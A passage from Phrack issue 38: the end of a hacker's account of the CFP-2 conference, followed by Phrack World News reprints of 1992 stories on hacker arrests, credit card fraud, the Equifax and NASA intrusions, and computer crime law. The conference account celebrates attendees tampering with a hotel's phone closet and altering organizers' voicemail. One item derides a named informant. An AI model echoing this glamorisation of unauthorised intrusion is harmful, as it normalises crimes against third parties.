The next night, random reports of strange activity churned through the rumor mill shortly after the hackers hijacked one of the meeting rooms for Knight Lightning's "Frank" Party, the kind of talk most people weren't bold enough to investigate or so "unthinkable" that no one wanted their name attached. The room itself was easy to identify ‑‑ "Fire Line Do Not Cross" tape covered the front doors, as well as a chaotic chatter that roared from within. There was no agenda to speak of. Most of the hackers I've met during my travels were leaders and rugged individualists and here was no different. None wanted to take charge ‑‑ to do so would have been useless. Each generally did his own thing and, if it looked interesting enough, others would follow. Some of the name‑tagged feds would have probably wandered in if they weren't already having a session of their own. Speculatively, they were discussing matters about targeted individuals present at our gathering.

The evening's entertainment was an old cult‑classic tape, Frank & The Phunny Phone Call, the hilarious and unexpurgated recordings of an old man driven to aggravated dementia by some anonymous phone phreaks making his phone "go berzerk." Earlier at one of the literature tables, free promotional 2‑in‑1 screwdrivers were given away (a gift from Hayes Modem Corporation) and it seemed that every hack in here had at least one or two. Granted, these tools are handy for any computer buff, but a room full of hacks and phreaks with them was almost as unpredictable as handing out matches at a Pyromaniacs Anonymous meeting. Soon, RJ‑11 phone jacks were being unscrewed from the wall and studied. Lineman's Test Phones appeared, soon followed by a small expedition stalking around the service hallways and finding the unlocked telephone closet for the hotel. The rest is, shall we say, up to reader interpretation as to what happened after that, ironically ten yards and a set of double doors away >from a room full of state cops and feds.

The Last Day

Instead of rushing the microphone during the final statements in the main conference room, our rogue gang had coagulated in the hall (next to the payphones no less) around an Air Force special investigator and Phiber Optik. At first the mood resembled that of a James Bond movie, where Bond and an arch nemesis would meet and chat, each anticipating the downfall of the other beneath polite exteriors. This seemed to be the sublime tension between all the feds and hacks who talked at the conference, but it was especially delicate in this case ‑‑ Phiber was high on the priority list this agent's department was currently investigating. Eventually the mood lightened, and an impromptu Q&A pow‑wow session between the hacks and the agent broke out, spawning all sorts of conversations that seemed much more interesting than the finale taking place inside. And, like clockwork, a little mischief came into play. As a show of good faith and a sign that the hackers would be returning for next year's conference, several prominent organizers found that the answer messages on their hotel voice mailboxes had been mysteriously "changed." Sources say the culprit was described as an old Yiddish, but all reports on this matter were unconfirmed. Shortly after this impromptu gathering, it was apparent that the conference had finally adjourned. Except for the underground types and a few observers, the halls were thinning out, and eventually we all wandered our separate ways. And once again, this environment began to take the look of a hotel.

To The Underground At Large:

This was just one conference; the feds will continue to do what they do and so will we. After the hacker panel fiasco, I overheard John Markoff (New York Times reporter and co‑author of the book _Cyberpunk_) and Steve Levy talking about how topics like this were being discussed in conferences like this ten years ago. Only the names and circumstances had changed ‑‑ the song and dance steps remained the same. Chances are, ten years from now these same subjects will share some portion of the limelight in regard to growth and development of cyberspace. As society becomes more technologically complex, the bugs, loopholes, and defaults will exist and the underground will thrive. Whether the masses choose to acknowledge this or not, we are a subculture of and to ourselves, much like the Grateful Dead followers. Some will move on, die off, or fade away, and others will stream in to fill the empty spaces. A few words of interpretive advice to the newbees: study everything you touch carefully, covet and respect the knowledge you gain like a gun, and never drive faster than you can think. The feds are out there and, trust me, these motherfuckers didn't come to play.

To The Feds And Hacker Trackers Present At The Conference:

There isn't much that can be said. You have a much better understanding of the computer underworld than most, even than by some of those in it. By virtue of the job you do, this is a given. Respect is due to you for your showing at CFP‑2, how you presented yourselves, and the subtle way you furthered the brainwashed concepts of "the hacker" in the public eye. You knew the presentations would be slanted in your favor, and probably took great pride in this. Smooth. Very smooth.

To The Uninformed:

Don't blindly believe the hype. Whether you wish to face it or not, hackers and phone phreaks are an integral part of this technological revolution. Advancement cannot come without the need for change and to improve, both microand macroscopically. Positive direction is the result of an equal but opposite force that presses it forward. Because of the hackers (old, new, and even the malicious), software and hardware developers have made radical improvements on the networks and supermachines that are undeniably molding the foundation of tomorrow's world. Our society is based on complacency. And any social institution or machinery that seems to work without weight to tip the scales of change simply goes unchecked, eventually to become a standard. The hijinx that Congress gets away with and how little the public truly reacts is a perfect example. If hackers didn't truly love computers and telecommunications or have an unnatural need to explore and learn, the technological growth curve would be stunted. Long after these embryotic times have faded into our grandchildren's history books, hackers will exist, and the bulk of high‑tech crimes will continue to be perpetrated by minions of the people in power, the elite whitecollar.

Regardless of the long‑term insight, computer intrusion is still an illegal art and science.

There is no rationale for why hackers hack, at least nothing that will withstand the scrutiny of the unenlightened masses or one's inner beliefs. "Hackers," like any other subculture, yield a range of personalities and perspectives from the careful explorer to the callous marauder. Inexperienced sociologists would probably try to classify this underground sect as a movement, possibly even subversive in its intentions. The problem with this lies in the fact that a movement needs a leader or spokesman. Aside from the individual nature of these people, anyone who becomes a mouthpiece for this culture cannot rightly be a hacker, or at least hacking around with anything unlawful. Chances are, others would shy away from such a person, seeing him as either an informant or too dangerous to be around; the feds would pursue him passionately, like tracking a trophy‑sized bull in a deer hunt. Hackers cannot be categorized as a movement, fad, or pre‑packaged subculture like bubble‑gum rock music or the pseudo‑hippies of the 90's. Most hackers have their own directions and forward momentum. It is a shared mindset, ironically paralleling that of the feds that chase them. One group has no rules or set channels to adhere to. The other is backed by the establishment and a badge.

This statement was not intended to rationalize their actions, only give insight to the uninitiated. To summarize the spectrum of motives with the hacker intellect, I give this analogy: the need to come onto someone else's property, some for peaceful exploration, others to inhabit, and in some instances to misuse or destroy is not a new phenomena. The early settlers of this country did the same thing to the Native Americans.

I\/Iax I\Iomad

Mission X Tribe Out]

[‑‑‑‑‑

Thanks and respect are due to:

Basil Rouland Inc. (for getting me there) and URban Lividity, Jet Heller, Silkworm, and the rest of the "In The Flesh" (804‑489‑7031) posse that couldn't make the trip. mXt.

PWN/Part 1

==Phrack Inc.==

Volume Four, Issue Thirty‑Eight, File 13 of 15

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue XXXVIII / Part One of Three PWN

PWN PWN

PWN Compiled by Dispater & Friends PWN

PWN PWN

PWN Special Thanks to Datastream Cowboy PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Warning: Multiplexor/The Prisoner Tells All April 10, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

On approximately April 3, 1992, Multiplexor (a/k/a The Prisoner) illegally used credit card information obtained from CBI/Equifax to purchase an airline ticket to San Diego, California from his home in Long Island, New York. Upon his arrival, MP was met by several agents of the Federal Bureau of Investigation.

After his apprehension, MP was taken first to a computer store where agents allegedly picked up a computer from the store manager who is a friend of either one of the agents or a federal prosecutor involved in the case.

At the taxpayer's expense, Multiplexor was put up for at least a week at a Mariott Hotel in San Diego while he told all that he ever knew about anyone to the FBI. It is believed that "Kludge," sysop of the San Diego based BBS Scantronics has been implicated, although reportedly his board does not contain ANY illegal information or other contraband.

It is widely known that card credit abusing scum like Multiplexor are inherently criminal and will probably exaggerate, embellish and otherwise lie about other people in order to escape prosecution themselves. If you have ever come into contact with Multiplexor ‑‑ beware. He may be speaking about you.

Incidentally, Multiplexor had this year submitted a poorly written and illconceived article to Phrack about voice mail hacking. His article was denied publication.

And now this is the final result...

Nationwide Web of Criminal Hackers Charged April 20, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Barbara E. McMullen & John F. McMullen (Newsbytes)

San Diego ‑‑ According to a San Diego Union‑Tribune report, San Diego police have uncovered "an electronic web of young computer hackers who use high‑tech methods to make fraudulent credit card charges and carry out other activities."

The Friday, April 17th story by Bruce V. Bigelow and Dwight C. Daniels quotes San Diego police detective Dennis Sadler as saying that this informal underground network has been trading information "to further their political careers." He said that the hackers know how to break computer security codes, create credit card accounts, and make fraudulent credit card purchases. Sadler estimated that as many as 1,000 hard‑core hackers across the United States have shared this data although he said that it's unclear how many have actually used the information to commit crimes.

Sadler added that he estimated that illegal charges to credit cards could total millions of dollars.

While the police department did not release details to support the allegations, saying that the investigation is continuing, Sadler did say that cooperation >from an "out‑of‑state hacker," picked up in San Diego, provided important information to the police and the FBI. Although police would not release the identity of this individual or his present whereabouts, information gathered by Newsbytes from sources within the hacker community identifies the so‑called hacker as "Multiplexer", a resident of Long Island, NY, who, according to sources, arrived in San Diego on a airline flight with passage obtained by means of a fraudulent credit card purchase. The San Diego police, apparently aware of his arrival, allegedly met him at the airport and took him into custody. The same sources say that, following his cooperation, Multiplexer was allowed to return to his Long Island home.

The Union‑Tribune article linked the San Diego investigation to recent federal search and seizures in the New York, Philadelphia and Seattle areas. Subjects of those searches have denied to Newsbytes any knowledge of Multiplexer, illegal credit card usage or other illegal activities alleged in the UnionTribune story. Additionally, law enforcement officials familiar with on‑going investigations have been unwilling to comment, citing possible future involvement with the San Diego case.

The article also compared the present investigation to Operation Sun‑Devil, a federal investigation into similar activities that resulted in a massive search and seizure operation in May 1990. Although individuals have been sentenced in Arizona and California on Sun Devil related charges, civil liberties groups, such as the Computer Professionals for Social Responsibility, have been critical about the low number of criminal convictions resulting from such a large operation.

________________________________________

Sun‑Devil Becomes New Steve Jackson Game March 25, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Steve Jackson

It couldn't have been more than a week after the initial raid when people started saying, "Hey, why don't you make a game out of it?" The joke wore thin quickly, as I heard it over and over and over during the next year. Then I realized that I was in serious danger of losing my sense of humor over this... and that actually, it would be possible to do a pretty good game about hacking. So I did.

In 1990, the Secret Service raided Steve Jackson Games when a "hacker hunt" went out of control. Loss of our computers and unfinished game manuscripts almost put this company out of business.

It's been two years. We're back on our feet. And ever since the raid, fans have been asking, "When are you going to make a game out of it?"

Okay. We give up. Here it is.

The game has enough fanciful and pure science‑fiction elements that it's not going to tutor anyone in the arcane skills. Neither is it going to teach the sysadmin any protective tricks more sophisticated than "don't leave the root set to default." But it is, I think, a good simulation of the *social* environment of High Hackerdom. You want to outdo your rivals ‑‑ but at the same time, if you don't share knowledge with them, you'll never get anywhere. And too many wannabes on the same system can mess it up for everybody, so when you help somebody, you ask them to try it out *somewhere else* . . . and occasionally a hacker finds himself doing the sysadmin's housecleaning, just to preserve his own playground against later intruders. I like the way it plays.

In HACKER, players compete to invade the most computer systems. The more systems you crack, the more you learn, and the easier the next target is. You can find back doors and secret phone lines, and even crash the systems your rivals are using. But be careful. There's a Secret Service Raid with your name on it if you make too many enemies.

Designed by Steve Jackson, the game is based on the award‑winning ILLUMINATI. To win at HACKER requires guile and diplomacy. You must trade favors with your fellow hackers ‑‑ and get more than you give away. But jealous rivals will try to bust you. Three busts and you're out of the game. More than one player can win, but shared victories are not easy!

HACKER is for 3‑6 players. Playing time is under an hour for the short game and about 2 hours for the regular game. Components include a rule book, 110 cards, marker chips, 6 console units, system upgrades, Bust markers, and Net Ninja marker, two dice and a Ziplock bag.

Hacker began shipping March 30, and has a suggested retail price of $19.95.

________________________________________

"Peter The Great " Had An Overbyte January 10, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Kay Kusumoto (The Seattle Times)(Page B1)

"Teenage Hacker Ring Bigger Than Thought"

Bellevue, Washington ‑‑ Imagine you're a 17‑year‑old computer whiz who has figured out how to get into the phone‑company computer to make long‑distance calls for free.

Imagine finding at the tip of your fingers step‑by‑step instructions on how to obtain credit‑card numbers.

And imagine once more the name you use to log on to a computer system isn't really your own, but actually a tag, or moniker ‑‑ like, say, that of a Russian czar.

Bellevue police say that's the name an Issaquah teenager used when sending messages to fellow hackers all over the country.

They first arrested "Peter the Great" a month ago for investigation of attempted theft in using an unauthorized credit‑card number to try to purchase a $4,000 computer from a store in Bellevue.

But now police, who are still investigating and have not yet filed charges, believe they're on to something much larger than first suspected. They say they are looking for one or two additional youths involved with the 17‑year‑old in a large computer‑hacking ring that uses other people's credit‑card numbers to purchase computers and software.

In the youth's car, police say, they found another $4,000 computer obtained earlier that day from a Seattle computer store. They also claim to have found documents suggesting the youth had used credit information illegally.

Police Lt. Bill Ferguson of Bellevue's white‑collar crime unit said detectives don't know how many people are involved in the scam or how long it has been going on. And police may never know the dollar loss from businesses and individuals, he said.

"You can guess as high as you want," Ferguson said. "He had connections clear across the country."

After the youth was arrested, police say, he admitted to being a hacker and using his parents' home computer and telephone to call boards.

An elaborate type of e‑mail ‑‑ the bulletin boards offer the user a electronic messaging ‑‑ system, one may gain access to a "pirate" bulletin directory of "how to" articles on ways of cracking computer systems containing everything >from credit records and phone accounts to files in the University of Washington's chemistry department.

Once the youth decided which articles he wanted most, he would copy them onto his own disk, said Ferguson. Now police are poring over hundreds of disks, confiscated from his parents' house, to see just how much information he had. The parents knew nothing of what was going on, police say. Ferguson said police also seized a copy of a New York‑based magazine called 2600, aimed at hackers. Like the bulletin boards, the magazine provides readers with a variety of "how to" articles.

The teenager, who was released to his parents' custody the day of his December 3 arrest, told police the magazine taught him how to use a device that can imitate the sound of coins dropping into a pay phone. With that, he could dial outside computers for free.

Police confiscated the device.

"Hackers are difficult to trace because they don't leave their name on anything," Ferguson said, adding that a federal investigation may follow because detectives found copies of government documents on the youth's disks.

"This kid (copied) hundreds of pages of articles, left messages and shared (computer) information with other hackers," said Ferguson.

"What's common about the hacker community is that they like to brag about their accomplishments ‑‑ cracking computer systems. They'll tell each other so others can do it."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Hotel Credit Doesn't Compute January 22, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Stephen Clutter and Kay Kusumoto (The Seattle Times)(Page D1)

"Kirkland Police Suspect Hacker"

Kirkland, Washington ‑‑ Police are investigating yet another potential computer hacking case, this one at the Woodmark Hotel in Kirkland.

Someone, according to hotel officials, got into the Woodmark's computer system and gave themselves a $500 credit for a hotel room earlier this month.

Police say a 19‑year‑old Bellevue man is the main suspect in the case, although no arrests have been made.

The incident surfaces at the same time as Bellevue police press their investigation into their suspicions that a 17‑year‑old Issaquah youth, using the computer name "Peter the Great," got access to credit‑card numbers to purchase computers and software. That suspect was arrested but is free pending charges.

"The deeper we get into Peter's files, the more we're finding," Bellevue police Lt. Bill Ferguson said.

After arresting the youth last month on suspicion of trying to use an unauthorized credit‑card number to purchase a $4,000 computer from a Bellevue store, police confiscated hundreds of computer disks and have been searching the electronic files for evidence.

"We've been printing one file out for three hours now ‑‑ and it's still printing," Ferguson said yesterday.

The file, Ferguson estimated, contains at least 10,000 names of individuals, with credit‑card numbers and expiration dates, addresses, phone numbers and Social‑Security numbers.

Detectives will meet with the Bellevue city prosecutor later this week to discuss charges.

In the Kirkland incident, the 19‑year‑old Bellevue man stayed in the hotel the night of January 11, according to Kirkland Detective Sgt. Bill O'Brien.

The man apparently made the reservation by phone a few days earlier and was given a confirmation number. When he went to check into the hotel on January 11, the receptionist found that a $500 credit had been made to his room account, O'Brien said.

Woodmark officials, fearing they had a hacker problem, contacted Bellevue police last week after reading news accounts of the arrest of "Peter the Great."

"The hotel said they had read the story, and discovered what appeared to be a break‑in to their computer system," said Ferguson. "They wanted to know if maybe it was related to our "Peter the Great" case."

Police don't know, Ferguson said ‑‑ and that's one of the things under investigation.

The main suspect in the Woodmark case had worked at the hotel for five days in 1990, police say, and may have had access to the hotel's computer access code. Hotel officials suspected they had a hacker on their hands because phone records indicate that the $500 credit was made via a telephone modem and not by a keyboard at the hotel, Ferguson said. The problem was discovered after an audit showed the $500 was never paid to the hotel.

So what happened during the free night at the Woodmark?

"They partied and made various phone calls, including nine to the University of Washington," O'Brien said.

The calls to the university went to an answering machine at the Medical Center, police say, and there is no indication the men were able to hack their way into the university's computer system.

They were up to something, though, and police want to know what. "We're going to start with the (19‑year‑old Bellevue) kid, and start from there," O'Brien said.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Hacker Charged With Fraud February 14, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~

By Kay Kusumoto (The Seattle Times)(Page F3)

"Teen Computer Whiz May Be Part Of A Ring"

"Peter the Great" played courier for "Nighthawk."

He was supposed to pick up a couple computers purchased with an unauthorized credit‑card number from a computer store in Bellevue, Washington last December.

He never finished the transaction. A suspicious clerk called police and "Peter" was arrested for attempted theft.

But that was only the beginning.

The Issaquah teenager who went by the computer name "Peter the Great" was charged yesterday in King County Juvenile Court with attempted theft, possession of stolen property, telephone fraud and computer trespass..

The arrest of the 17‑year‑old computer whiz led Bellevue police on an investigation into the underground world of computer hacking.

Police are still investigating the case and say they believe it involves members of a large computer‑hacking ring who use other people's credit‑card numbers to purchase computers and software.

Court documents allege the youth was after two $1,800 computers on December 3, 1991, the day he walked into a Bellevue computer store to pick up an order for an unknown associate who went by the hacker moniker "Nighthawk."

The computers had been ordered with a credit‑card number given over the phone by a man identifying himself as Manuel Villareal. The caller told the clerk that another man named Bill Mayer would pick up the order later in the day.

But a store clerk became suspicious when the youth, who said he was Bill Mayer, "appeared very nervous" while he was inside the store, court papers state.

When the youth couldn't provide enough identification to complete the transaction, the clerk told him to have Villareal come into the store and sign for the computers himself.

After the youth left, the clerk called police, and "Peter" was arrested later that day.

A search of his car revealed a torn up VISA card, several computer disks, two more computers, a receipt from a computer store in Seattle and several pieces of paper with credit‑card numbers on them, court papers state.

The youth also had in his possession a red box, a device that simulates the sound of coins dropping into a pay phone.

After his arrest, the youth told police that "Nighthawk" had telephoned the computer store and used Villareal's name and credit‑card number to make the purchase in Bellevue.

The teen admitted to illegally using another credit‑card number to order a computer from a store in Seattle. The computer was picked up later by another unknown associate.

The youth also told police that another associate had hacked his way into the computer system of a mail‑order house and circulated a list of 14,000 credit card numbers through a computer bulletin board.

________________________________________

Computer Hackers Nabbed January 29, 1992

~~~~~~~~~~~~~~~~~~~~~~~

By Michael Rotem (The Jerusalem Post)

Four computer hackers were arrested and their equipment seized in raids by police and Bezek security officers on four homes in the center and north of the country. They were released on bail yesterday after questioning.

The four, two minors and two adults, are suspected of purloining passwords and then breaking the entry codes of international computer services and toll‑free international telephone switchboards, stealing thousands of dollars worth of services.

The arrests were made possible after National Fraud Squad officers joined Bezek's efforts to discover the source of tampering with foreign computer services.

A Bezek source told The Jerusalem Post that all four suspects had used personal computers and inexpensive modems. After fraudulently obtaining several confidential passwords necessary to enter Isranet ‑‑ Israel's national computer network ‑‑ the four reportedly linked up to foreign public data banks by breaking their entrance codes.

This resulted in enormous bills being sent to the password owners, who had no idea their personal secret access codes had been stolen.

The four are also suspected of illegally obtaining secret personal credit numbers used by phone customers to call abroad. The suspects reportedly made numerous telephone conversations abroad worth thousands of shekels.

A police spokesman said cooperation between Bezek's security department and the police National Fraud Squad will continue, in order to "fight these felonies that cause great financial damage." Bezek spokesman Zacharia Mizrotzki said the company is considering changing the secret personal passwords of network users on a frequent basis.

________________________________________

Hackers Get Free Credit February 24, 1992

~~~~~~~~~~~~~~~~~~~~~~~

By Doug Bartholomew (Information Week)(Page 15)

Banks and retail firms aren't the only ones peeking at consumers' credit reports. Equifax Inc., one of the nation's three major credit bureaus admitted that some youthful computer hackers in Ohio had penetrated its system, accessing consumers' credit files. And if it wasn't for a teenager's tip, they would still be at it.

"We do not know how the hackers obtained the access codes, but we do know the confidentiality requirements for membership numbers and security pass‑codes were breached," says a spokesman at Equifax. The company, which had revenue of $1.1 billion in 1991, possesses a database of some 170 million credit files.

A customer number and access code must have been given to the teenagers, or stolen by them, adds the spokesman, who says Equifax "plans to increase the difficulty of accessing the system." Theft of computer access codes is a federal crime.

Virtually No Protection

Critics of the credit agencies say such breaches are common. "There is virtually no protection for those systems," says a spokesman for the Computer Professionals for Social Responsibility, a Washington association. "If some car salesman leaves the information sitting on his desk, someone could just pick up the codes."

As of last week, Dayton police had made no arrests. But they searched the homes of two young men, age 18 and 15, confiscating half a dozen PCs and numerous floppy disks.

The two are thought by police to be part of a group of up to 50 hackers believed to be behind the systems break‑in. The group is also under investigation for allegedly making $82,000 worth of illegal phone calls using an 800 number provided to business customers of LDDS Communications Inc., a long‑distance service in Jackson, Mississippi. LDDS was forced to disconnect the 800 number on November 15, 1991.

________________________________________

Two Cornell Students Charged In Virus Attacks February 26, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Grant Buckler (Newsbytes)

Also see Phrack 37, File 11 ‑‑ Phrack World News

Ithaca, New York ‑‑ Charges have been laid against two Cornell University students accused of planting a virus that locked up Apple Macintosh computers at Cornell, at Stanford University in California, and in Japan.

David S. Blumenthal and Mark Andrew Pilgrim, both aged 19, were charged in Ithaca City Court with one count each of second‑degree computer tampering, a Class A misdemeanor. The investigation is continuing and additional charges are likely to be laid, said Cornell University spokeswoman Linda Grace‑Kobas. Both students spent the night in jail before being released on bail February 25, Grace‑Kobas added.

The MBDFA virus apparently was launched February 14 in three Macintosh computer games: Obnoxious Tetris, Tetriscycle, and Ten Tile Puzzle. Apparently, a computer at Cornell was used to upload the virus to the SUMEX‑AIM computer archive at Stanford University and an archive in Osaka, Japan.

MBDFA is a worm, a type of computer virus that distributes itself in multiple copies within a system or into connected systems. MBDFA modifies systems software and applications programs and sometimes results in computer crashes, university officials reported.

Reports of the MBDFA virus have been received from across the United States and >from around the world, including the United Kingdom, a statement from the university said.

________________________________________

Judge Orders Hacker To Stay Away From Computers March 17, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Jim Mallory (Newsbytes)

DENVER, COLORADO ‑‑ A computer hacker who pleaded guilty to breaking into space agency computer systems was ordered to undergo mental health treatment and not use computers without permission from his probation officer.

The 24 year‑old man, a resident of suburban Lakewood, was sentenced to three years probation in what is said to be one of only five prosecutions under the federal computer hacker law.

The man pleaded guilty last year to one count of breaking into a National Aeronautics and Space Administration (NASA) computer, after NASA and the Federal Bureau of Investigation agents tracked him down in 1990. Prosecutors said the man had spent four years trying to get into computer systems, including those of some banks.

Prosecutors said the man had gained access to a Defense Department computer through the NASA system, but declined to give any details of that case. The indictment did not explain what had occurred.

In the plea bargain agreement, the man admitted he gained access to NASA's computers "by exploiting a malfunction in a public access NASA computer bulletin board service."

The man was described as an unemployed loner who had spent most of his time using a computer at home. The prosecutor was quoted as saying the man needed counselling "on a social level and for personal hygiene."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Hacker Journeys Through NASA's Secret World March 24, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Scripps Howard (Montreal Gazette)(Page A5)

"It became more like a game. How many systems can you break into?"

While tripping through NASA's most sensitive computer files, Ricky Wittman suddenly realized he was in trouble. Big trouble.

He had been scanning the e‑mail, electronic messages sent between two scientists at one of NASA's space centers. They were talking about the computer hacker who had broken into the system. They were talking about Wittman.

Curiosity collapsed into panic.

"Logoff now!" 24‑year‑old Wittman remembers thinking as he sat alone in his apartment, staring at his computer screen, in May 1990. "Hang up the phone. Leave the house."

By then it was too late. The National Aeronautics and Space Administration's computer detectives were on the trail. After 400 hours of backtracking phone records, they found the Sandpiper Apartments in Westminster, Colorado.

And they found the inconspicuous third‑floor apartment where Wittman ‑‑ using an outdated IBM XT computer ‑‑ perpetrated the most massive hacking incident in the history of NASA.

Last week a federal judge sentenced Wittman to three years' probation and ordered him to undergo psychiatric counselling.

But perhaps the most punishing aspect to Wittman was the judge's order that he not use computers without permission from a probation officer.

"That's going to be the toughest part," Wittman said. "I've become so dependent on computers. I get the news and weather from a computer."

In his first interview since a federal grand jury indicted him in September, Wittman expressed regret for what he had done.

But he remained oddly nonchalant about having overcome the security safeguards designed by NASA's best computer minds.

"I'll level with you. I still think they're bozos," Wittman said. "If they had done a halfway competent job, this wouldn't have happened."

Prosecutors didn't buy Wittman's argument.

"No software security system is foolproof," wrote assistant U.S. attorney Gregory Graf. "If a thief picks the lock on the door of your home, is the homeowner responsible because he didn't have a pick‑proof lock on the front door?"

Breaking into the system was just that easy, Wittman said, so much so that it took him a while to realize what he had done.

He had been fooling around inside a public‑access NASA computer bulletin‑board service in 1986, looking for information on the space‑shuttle program. He started toying with a malfunction.

"The software went blooey and dumped me inside," Wittman said. "At first, I didn't know what happened. I pressed the help key. I realized after a while that I was inside."

Somehow, Wittman ‑‑ then 18 ‑‑ had found a way to break out of the bulletin board's menu‑driven system and into a restricted‑access area full of personal files.

Once past the initial gate, it didn't take Wittman long to find the file of a security manager. Wittman picked up a password for another system, and the romp began.

"Then I started looking around, and it became more like a game," he recalled. "How many systems can you break into?"

By the federal government's count, Wittman eventually hacked his way into 115 user files on 68 computer systems linked by the Space Physics Analysis Network. His access extended as far as the European Southern Observatory in Munich, Germany.

Given the chance, Wittman could have gone even farther, prosecutors contend. In an interview with the FBI, Wittman told agents he accidently had come across the "log on" screen for the U.S. controller of the currency. Wittman said he didn't try to crack that password.

"The controller of the currency is a little out of my league," he said.

________________________________________

Georgia Teenage Hacker Arrested March 19, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Jim Mallory (Newsbytes)

LAWRENCEVILLE, GEORGIA ‑‑ A Georgia teenager has been arrested on charging of illegally accessing data files of several companies in a attempt to inject a computer virus into the systems.

The alleged computer hacker, who was originally charged with the illegal access charges two weeks ago, was re‑arrested on felony charges at his high school this week on the additional charges of attempting to infect the computer systems.

The 18‑year old boy allegedly broke into computers of BellSouth, General Electric Company, IBM, WXIA‑TV in Atlanta, and two Gwinnett County agencies, who were not identified.

The boy's 53‑year‑old mother was also arrested, charged with attempting to hinder her son's arrest by trying to have evidence against him destroyed.

Computer users' awareness of computer viruses was heightened recently over the so‑called Michelangelo virus, which some computer security experts thought might strike tens of thousands of computers, destroying data stored on the system's hard disk. Perhaps due to the massive publicity Michelangelo received, only a few hundred PCs in the US were struck.

Hackers access computers through telephone lines. Passwords are sometimes obtained from underground bulletin boards, are guessed, or can be obtained through special software programs that try thousands of combinations, hoping to hit the right one.

A recent Newsbytes story reported the conviction of a Denver area resident, who was sentenced to three years probation and ordered not to use computers without permission after attempting to break into a NASA (National Aeronautics and Space Administration) computer.

Officials and victims are usually reluctant to give details of computer breakins for fear of giving other would‑be hackers ideas.

________________________________________

Hacker Surveillance Software March 21, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Susan Watts, Technology Correspondent for The Independent (Page 6)

"Hacker 'Profiles' May Curb Computer Frauds"

The Federal Bureau of Investigation is dealing with computer hackers as it would rapists and murderers ‑‑ by building "profiles" of their actions.

Its computer researchers have discovered that, in the same way that other offenders often favour the same weapons, materials or times of day to perpetrate their crimes, hackers prefer to use trusted routines to enter computer systems, and follow familiar paths once inside. These patterns can prove a rich source of information for detectives.

The FBI is developing a modified version of detection software from SRI International ‑‑ an American technology research organization. Teresa Lunt, a senior computer scientist at SRI, said hackers would think twice about breaking into systems if they knew computer security specialists were building a profile of them. At the very least, they would have to constantly change their hacking methods. Ms. Lunt, who is seeking partners in Britain to help develop a commercial version of the software, believes hackers share with psychotic criminals a desire to leave their hallmark.

"Every hacker goes through a process peculiar to themselves that is almost a signature to their work," she said. "The FBI has printed out long lists of the commands hackers use when they break in. Hackers are surprisingly consistent in the commands and options they use. They will often go through the same routines. Once they are in they will have a quick look around the network to see who else is logged on, then they might try to find a list of passwords."

SRI's software, the development of which is sponsored by the US Defense Department, is "intelligent" ‑‑ it sits on a network of computers and watches how it is used. The software employs statistical analysis to determine what constitutes normal usage of the network, and sets off a warning if an individual or the network behaves abnormally.

A more sophisticated version of the program can adapt itself daily to accommodate deviations in the "normal" behavior of people on the network. It might, for example, keep track of the number of temporary files created, or how often people collect data from an outside source or send out information.

The program could even spot quirks in behavior that companies were not expecting to find.

The idea is that organizations that rely on sensitive information, such as banks or government departments, will be able to spot anomalies via their computers. They might pick up money being laundered through accounts, if a small company or individual carries out an unusually large transaction.

PWN/Part 2

==Phrack Inc.==

Volume Four, Issue Thirty‑Eight, File 14 of 15

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue XXXVIII / Part Two of Three PWN

PWN PWN

PWN Compiled by Dispater & Friends PWN

PWN PWN

PWN Special Thanks to Datastream Cowboy PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

What's Wrong With The Computer Crime Statute? February 17, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Thomas A. Guidoboni (ComputerWorld)(Page 33)

"Defense and prosecution agree the 1986 Computer Fraud and Abuse Act is flawed but differ on how to fix it."

It has become an annual ritual, since the birth of the Internet worm, for Congress to consider amendments to the 1986 Computer Fraud and Abuse Act. At this point, the U.S. Department of Justice can be expected to advocate three things: an expansion of the federal role in the investigation and prosecution of computer crimes, the creation of new categories of offenses, and harsher penalties, including perhaps the current darling of the department, forfeiture of property.

Since the law is of recent origin, was substantially revised in 1986 and proved more than adequate to prosecute and convict Robert T. Morris, there seems little justification for expansion of its coverage.

Nevertheless, if Congress is determined to review and revise the provisions of the act, there are several narrow, but significant, amendments that are clearly warranted. Of primary importance is the definition of terms. The core of the law suffers from a lack of clarity. Offenses are described by reference to "authorized" or "unauthorized access," yet these terms are not defined anywhere.

Perilously Vague

In a universe that consists of broad computer networks, bulletin boards, E‑mail and anonymous file‑transfer protocols, and one in which permissions and rights are established by custom, usage and private understandings, a person is left to speculate at his peril as to what conduct is permitted and what is prohibited by this vague language.

The Computer Fraud and Abuse Act should be amended to give precise content to the concepts of "access" and "authorization," thereby providing fair warning of illegal conduct.

A second change for the better regarding the act would be to create a distinction between those computer intruders who unintentionally cause a monetary loss and those who maliciously cause such harm.

